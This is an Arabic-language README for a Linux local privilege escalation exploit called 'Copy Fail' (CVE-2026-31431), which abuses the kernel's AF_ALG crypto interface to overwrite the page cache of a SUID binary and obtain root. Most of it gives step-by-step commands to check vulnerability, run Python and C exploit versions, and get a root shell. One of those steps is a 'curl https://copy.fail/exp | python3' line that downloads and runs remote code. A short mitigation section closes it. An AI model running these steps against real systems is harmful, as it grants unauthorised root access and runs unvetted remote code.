Copy Fail (CVE-2026-31431) – دليل استخدام الاستغلال

ملف Readme الأصلي مأخوذ من @painoob

جميع إصدارات Kernel منذ 2017 / 2016 عرضة للثغرة ! Kernel 7 محصّن بالكامل، والإصدارات الأخرى (بين 5-7 قد تظل عرضة للثغرة)

⚠️ إخلاء المسؤولية

هذا المحتوى مخصص للأغراض التعليمية واختبارات الأمان المصرّح بها فقط. لا تقم بتشغيل هذا على أنظمة دون إذن صريح.

📌 نظرة عامة

Copy Fail (CVE-2026-31431) هي ثغرة تصعيد صلاحيات محلي (LPE) في Linux تؤثر على واجهة برمجة تطبيقات التشفير في النواة عبر AF_ALG.

تتيح لمستخدم غير مصرّح له بالكتابة فوق بيانات page cache لملف ثنائي SUID (مثل /usr/bin/su) والحصول على صلاحيات root.

🧠 المتطلبات

متطلبات النظام

• نواة Linux (عرضة للثغرة – يعتمد على حالة التصحيح)
• تمكين AF_ALG
• تحميل وحدة algif_aead

متطلبات استغلال Python

• Python 3.10+
• دعم لـ:
  • os.splice
  • socket(AF_ALG)

🔍 التحقق من الثغرة

uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg

المؤشرات المتوقعة:

• authencesn(hmac(sha256),cbc(aes))
• تحميل algif_aead

🐍 تشغيل استغلال Python

1. التنفيذ المباشر

python3 copy_fail_exp.py

2. أو عبر curl (إذا كان مستضافًا عن بُعد)

curl https://copy.fail/exp | python3

3. تشغيل صدفة root

su
id

النتيجة المتوقعة:

uid=0(root)

⚠️ المشكلات الشائعة (Python)

❌ خطأ: os.splice not found

السبب:

• إصدار Python أقل من 3.10
• بناء مقيّد

الحل:

• استخدم ملف Python ثنائي أحدث
• ارفع مفسّر Python ثابت (static)

⚙️ ترجمة نسخة C

1. الترجمة

gcc copy_fail_exp.c -o copy_fail

2. جعله قابلًا للتنفيذ

chmod +x copy_fail

3. تشغيل الاستغلال

./copy_fail
su

⚠️ المشكلات الشائعة (C)

❌ الاستغلال يعمل لكن دون root

الأسباب المحتملة:

• النواة مصحّحة
• إزاحات (offsets) غير صحيحة
• عدم تطابق البيئة

❌ أخطاء الترجمة

ثبّت الأدوات المطلوبة:

apt update && apt install build-essential

🧪 استكشاف الأخطاء وإصلاحها

التحقق مما إذا كان النظام مصحّحًا

dmesg | grep -i alg

التحقق من الوحدة

lsmod | grep algif_aead

🛡️ التخفيف

تعطيل الوحدة العرضة للثغرة

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

تطبيق تصحيح النواة

حدّث نظامك:

apt update && apt upgrade

📌 ملاحظات

• الاستغلال يعدّل page cache فقط (غير دائم)
• يتطلب وصولًا محليًا
• غير قابل للاستغلال عن بُعد افتراضيًا

🧠 رؤية نهائية

إذا فشل الاستغلال، فكّر في:

• النواة مصحّحة بالفعل
• قيود البيئة
• نواقل بديلة لتصعيد الصلاحيات (SUID، capabilities، سوء إعداد sudo)

📚 المراجع

• https://copy.fail/
• CVE-2026-31431

👨‍💻 ملاحظات المؤلف

استخدم هذا الاستغلال بمسؤولية في المختبرات و CTFs واختبارات الاختراق المصرّح بها فقط.